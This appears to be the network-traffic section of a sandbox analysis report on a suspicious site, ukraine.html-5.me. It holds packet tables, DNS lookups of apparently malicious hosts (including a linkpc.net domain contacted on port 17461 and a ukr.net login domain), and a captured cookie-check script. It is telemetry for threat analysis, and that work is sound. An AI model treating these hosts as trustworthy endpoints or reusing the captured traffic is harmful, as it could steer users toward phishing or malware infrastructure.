Oct 24, 2024 08:51:39.742912054 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.743062973 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.743076086 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823259115 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823338985 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823424101 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.823729992 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823770046 CEST	50041	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.823774099 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823787928 CEST	443	50041	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823827028 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.823837042 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.823870897 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.824021101 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.824027061 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.824042082 CEST	50043	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.824048042 CEST	443	50043	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.832762003 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.832842112 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.832933903 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.833746910 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.833781958 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.833909988 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834012985 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834019899 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.834031105 CEST	50042	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834034920 CEST	443	50042	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.834120989 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834166050 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.834235907 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834700108 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834714890 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:39.834852934 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:39.834867001 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.348526001 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.349739075 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.349767923 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.350263119 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.350271940 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.478322983 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.478396893 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.478477955 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.478785038 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.478810072 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.478825092 CEST	50044	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.478832960 CEST	443	50044	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.480617046 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.483545065 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.483573914 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.484092951 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.484102011 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.562947989 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.566251040 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.566271067 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.566987991 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.566994905 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.570789099 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.571589947 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.571624041 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.572096109 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.572103977 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.611155987 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.611258030 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.611416101 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.612262011 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.612262011 CEST	50045	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.612282991 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.612296104 CEST	443	50045	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.691958904 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.692168951 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.692368031 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.692426920 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.692451954 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.692466021 CEST	50047	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.692473888 CEST	443	50047	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.703036070 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.703222990 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.703329086 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.703578949 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.703578949 CEST	50046	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:40.703604937 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:40.703619003 CEST	443	50046	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:44.249223948 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:44.298743010 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:44.349632025 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:44.349659920 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:47.026967049 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:47.080557108 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:47.146409988 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:47.146572113 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:48.344793081 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:48.344844103 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:48.352659941 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:48.352736950 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:53.495701075 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:53.501193047 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:51:54.200568914 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:54.205990076 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:52:38.501523018 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:52:38.506911039 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:52:39.214360952 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:52:39.219933033 CEST	80	49755	185.27.134.114	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:50:07.417128086 CEST	61429	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:11.210854053 CEST	138	138	192.168.2.4	192.168.2.255
Oct 24, 2024 08:50:22.082426071 CEST	55413	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:22.082633972 CEST	60653	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:22.085722923 CEST	53	52397	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:22.099200964 CEST	53	56746	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:22.102922916 CEST	53	55413	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:22.150870085 CEST	53	60653	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:23.238157988 CEST	55940	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:23.238342047 CEST	64392	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:23.258572102 CEST	53	55940	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:23.351337910 CEST	53	64392	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:23.453318119 CEST	53	58761	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:23.504929066 CEST	62254	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:23.505080938 CEST	59588	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:23.520661116 CEST	53	59588	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:23.526901007 CEST	53	62254	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:24.773236036 CEST	53	58469	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.205688953 CEST	53	50687	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.208024025 CEST	61046	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.208285093 CEST	61502	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.209244013 CEST	56697	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.209434032 CEST	52839	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.215584040 CEST	53	61046	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.215641975 CEST	53	61502	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.501274109 CEST	53124	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.501375914 CEST	59149	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:26.509002924 CEST	53	59149	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.509435892 CEST	53	53124	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:26.575731993 CEST	53	56697	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:27.214764118 CEST	58016	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:27.214891911 CEST	53629	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:27.222461939 CEST	53	58016	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:27.223555088 CEST	53	53629	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:28.316171885 CEST	53	52839	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.258320093 CEST	54105	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.258483887 CEST	55289	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.281136036 CEST	57694	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.281292915 CEST	62210	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.288439035 CEST	53	62210	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.288924932 CEST	53	57694	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.361955881 CEST	53	64060	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.364345074 CEST	52662	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.364465952 CEST	61411	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.364900112 CEST	50834	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.365046024 CEST	60378	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:29.371582031 CEST	53	52662	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.371897936 CEST	53	61411	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.372077942 CEST	53	60378	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.372762918 CEST	53	50834	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:29.491708040 CEST	53	54105	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:30.405920029 CEST	59405	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:30.406054020 CEST	61983	53	192.168.2.4	1.1.1.1
Oct 24, 2024 08:50:30.413661957 CEST	53	59405	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:30.413759947 CEST	53	61983	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:31.340234995 CEST	53	55289	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:34.586519957 CEST	53	57937	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:40.411650896 CEST	53	52687	1.1.1.1	192.168.2.4
Oct 24, 2024 08:50:59.673151970 CEST	53	57878	1.1.1.1	192.168.2.4
Oct 24, 2024 08:51:21.975881100 CEST	53	52012	1.1.1.1	192.168.2.4
Oct 24, 2024 08:51:22.566992044 CEST	53	52910	1.1.1.1	192.168.2.4
Oct 24, 2024 08:51:51.210750103 CEST	53	56003	1.1.1.1	192.168.2.4
Oct 24, 2024 08:52:38.007761002 CEST	53	60738	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 24, 2024 08:50:22.150985956 CEST	192.168.2.4	1.1.1.1	c217	(Port unreachable)	Destination Unreachable
Oct 24, 2024 08:50:23.351432085 CEST	192.168.2.4	1.1.1.1	c217	(Port unreachable)	Destination Unreachable
Oct 24, 2024 08:50:28.316355944 CEST	192.168.2.4	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable
Oct 24, 2024 08:50:31.340315104 CEST	192.168.2.4	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 08:50:07.417128086 CEST	192.168.2.4	1.1.1.1	0xafa4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:22.082426071 CEST	192.168.2.4	1.1.1.1	0xa11a	Standard query (0)	ukraine.html-5.me	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:22.082633972 CEST	192.168.2.4	1.1.1.1	0x8346	Standard query (0)	ukraine.html-5.me	65	IN (0x0001)	false
Oct 24, 2024 08:50:23.238157988 CEST	192.168.2.4	1.1.1.1	0x1a16	Standard query (0)	ukraine.html-5.me	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.238342047 CEST	192.168.2.4	1.1.1.1	0x8487	Standard query (0)	ukraine.html-5.me	65	IN (0x0001)	false
Oct 24, 2024 08:50:23.504929066 CEST	192.168.2.4	1.1.1.1	0x53d7	Standard query (0)	run.mocky.io	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.505080938 CEST	192.168.2.4	1.1.1.1	0x6487	Standard query (0)	run.mocky.io	65	IN (0x0001)	false
Oct 24, 2024 08:50:26.208024025 CEST	192.168.2.4	1.1.1.1	0x2159	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.208285093 CEST	192.168.2.4	1.1.1.1	0xc202	Standard query (0)	httpbin.org	65	IN (0x0001)	false
Oct 24, 2024 08:50:26.209244013 CEST	192.168.2.4	1.1.1.1	0x6655	Standard query (0)	jkbfgkjdffghh.linkpc.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.209434032 CEST	192.168.2.4	1.1.1.1	0x9587	Standard query (0)	_17461._https.jkbfgkjdffghh.linkpc.net	65	IN (0x0001)	false
Oct 24, 2024 08:50:26.501274109 CEST	192.168.2.4	1.1.1.1	0xdd14	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.501375914 CEST	192.168.2.4	1.1.1.1	0x1d6c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 08:50:27.214764118 CEST	192.168.2.4	1.1.1.1	0x8e00	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:27.214891911 CEST	192.168.2.4	1.1.1.1	0x53af	Standard query (0)	httpbin.org	65	IN (0x0001)	false
Oct 24, 2024 08:50:29.258320093 CEST	192.168.2.4	1.1.1.1	0xe70d	Standard query (0)	jkbfgkjdffghh.linkpc.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.258483887 CEST	192.168.2.4	1.1.1.1	0xacfb	Standard query (0)	_17461._https.jkbfgkjdffghh.linkpc.net	65	IN (0x0001)	false
Oct 24, 2024 08:50:29.281136036 CEST	192.168.2.4	1.1.1.1	0x3f74	Standard query (0)	accounts.ukr.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.281292915 CEST	192.168.2.4	1.1.1.1	0x394f	Standard query (0)	accounts.ukr.net	65	IN (0x0001)	false
Oct 24, 2024 08:50:29.364345074 CEST	192.168.2.4	1.1.1.1	0x49cc	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.364465952 CEST	192.168.2.4	1.1.1.1	0x5a58	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Oct 24, 2024 08:50:29.364900112 CEST	192.168.2.4	1.1.1.1	0x5e85	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.365046024 CEST	192.168.2.4	1.1.1.1	0xc51d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 24, 2024 08:50:30.405920029 CEST	192.168.2.4	1.1.1.1	0xb31e	Standard query (0)	accounts.ukr.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:30.406054020 CEST	192.168.2.4	1.1.1.1	0x42a8	Standard query (0)	accounts.ukr.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 08:50:07.425632000 CEST	1.1.1.1	192.168.2.4	0xafa4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:50:22.102922916 CEST	1.1.1.1	192.168.2.4	0xa11a	No error (0)	ukraine.html-5.me		185.27.134.114	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.258572102 CEST	1.1.1.1	192.168.2.4	0x1a16	No error (0)	ukraine.html-5.me		185.27.134.114	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.520661116 CEST	1.1.1.1	192.168.2.4	0x6487	No error (0)	run.mocky.io	domain.par.clever-cloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	run.mocky.io	domain.par.clever-cloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.222	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.218	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.221	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.215	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.220	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.214	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:23.526901007 CEST	1.1.1.1	192.168.2.4	0x53d7	No error (0)	domain.par.clever-cloud.com		91.208.207.223	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.215584040 CEST	1.1.1.1	192.168.2.4	0x2159	No error (0)	httpbin.org		34.228.248.173	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.215584040 CEST	1.1.1.1	192.168.2.4	0x2159	No error (0)	httpbin.org		44.196.139.143	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.509002924 CEST	1.1.1.1	192.168.2.4	0x1d6c	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 08:50:26.509435892 CEST	1.1.1.1	192.168.2.4	0xdd14	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:26.575731993 CEST	1.1.1.1	192.168.2.4	0x6655	No error (0)	jkbfgkjdffghh.linkpc.net		3.67.15.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:27.222461939 CEST	1.1.1.1	192.168.2.4	0x8e00	No error (0)	httpbin.org		44.196.139.143	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:27.222461939 CEST	1.1.1.1	192.168.2.4	0x8e00	No error (0)	httpbin.org		34.228.248.173	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:28.316171885 CEST	1.1.1.1	192.168.2.4	0x9587	Name error (3)	_17461._https.jkbfgkjdffghh.linkpc.net	none	none	65	IN (0x0001)	false
Oct 24, 2024 08:50:29.288924932 CEST	1.1.1.1	192.168.2.4	0x3f74	No error (0)	accounts.ukr.net		212.42.75.253	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.371582031 CEST	1.1.1.1	192.168.2.4	0x49cc	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.371582031 CEST	1.1.1.1	192.168.2.4	0x49cc	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.371582031 CEST	1.1.1.1	192.168.2.4	0x49cc	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.371582031 CEST	1.1.1.1	192.168.2.4	0x49cc	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.372077942 CEST	1.1.1.1	192.168.2.4	0xc51d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 24, 2024 08:50:29.372762918 CEST	1.1.1.1	192.168.2.4	0x5e85	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.372762918 CEST	1.1.1.1	192.168.2.4	0x5e85	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:29.491708040 CEST	1.1.1.1	192.168.2.4	0xe70d	No error (0)	jkbfgkjdffghh.linkpc.net		3.67.15.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:30.413661957 CEST	1.1.1.1	192.168.2.4	0xb31e	No error (0)	accounts.ukr.net		212.42.75.253	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:50:31.340234995 CEST	1.1.1.1	192.168.2.4	0xacfb	Name error (3)	_17461._https.jkbfgkjdffghh.linkpc.net	none	none	65	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

ukraine.html-5.me

run.mocky.io

https:

httpbin.org

raw.githubusercontent.com

cdnjs.cloudflare.com

accounts.ukr.net

otelrules.azureedge.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49752	185.27.134.114	80	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:50:22.125467062 CEST	432	OUT	GET / HTTP/1.1 Host: ukraine.html-5.me Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 24, 2024 08:50:22.958693981 CEST	1034	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:22 GMT Content-Type: text/html Content-Length: 828 Connection: keep-alive Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6c 61 63 65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64 5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 [TRUNCATED] Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("897e1239a65693762c1cc6c88ab7e977");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://ukraine.html-5.me/?i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support</noscript></body></html>
Oct 24, 2024 08:50:22.978461981 CEST	312	OUT	GET /aes.js HTTP/1.1 Host: ukraine.html-5.me Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://ukraine.html-5.me/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
